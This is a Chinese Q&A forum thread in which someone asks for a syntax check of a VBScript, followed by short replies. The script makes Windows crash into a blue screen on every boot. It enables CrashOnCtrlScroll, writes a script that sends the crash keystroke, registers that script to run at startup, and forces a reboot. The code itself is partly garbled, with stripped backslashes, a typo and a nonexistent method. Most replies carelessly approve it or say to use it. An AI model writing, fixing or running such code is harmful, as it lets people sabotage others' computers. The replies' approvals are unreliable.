哪个大佬来检查一下我的VBS代码语法对不对
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
Set fso=createobject("scripting.filesystemobject")
Default=OperationRegistry.RegRead("HKLM")
OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServicesi8042prtParametersCrashOnCtrlScroll",1,"REG_Dword"
OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServiceskbdhidParametersCrashOnCtrlScroll",1,"REG_Dword" '蓝屏规则注册表修改
Dim fso,wsh
dim txtfile
content="set ws=wscript.createobject("wscript.shell");ws.Sendkeys"^{SCROLLLOCK}{SCROLLLOCK}""
Set fso = CreateObject("scripting.filesystemobject")
Set wsh= CreateObject("Wscript.Shell")
Set myfile=fso.CreateTextFile( "C:V.txt",,ture)
str=Split(content,";")
content=""
For Each i In str
myfile.WriteLine i
Next
myfile.Close
wsh.Run "cmd.exe /c ren C:V.txt C:V.vbs"
set myfile=nothing
set wsh=nothing '蓝屏按键写入注册表
Dim AutoRunProgram
Set AutoRunProgram=WScript.CreateObject("WScript.Shell")
RegPath="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"
Type_Name="REG_SZ"
Key_Name="V.vbs"
Key_Data="C:V.vbs"
AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name '开机就蓝屏
set ws=createobject("wscript.shell")
ws.run"cmd.exe /c shutdown -r -f -t 00" '立刻重启
这段VBS的代码语法上没有问题的，就是看能不能实现你想要的功能了，望采纳
可以请360电脑专家指导解决，又快又好。
对的！可以！直接用吧！
你这个难度系数太高了
这还真的专业人来教才行。
这个确实是要高手来解决的
用个翻译软件检查下
对的，总的来说是正确的
总体来说还是基本对的
亲：这个基本正确。
语法有点问题，把前置一下就可以了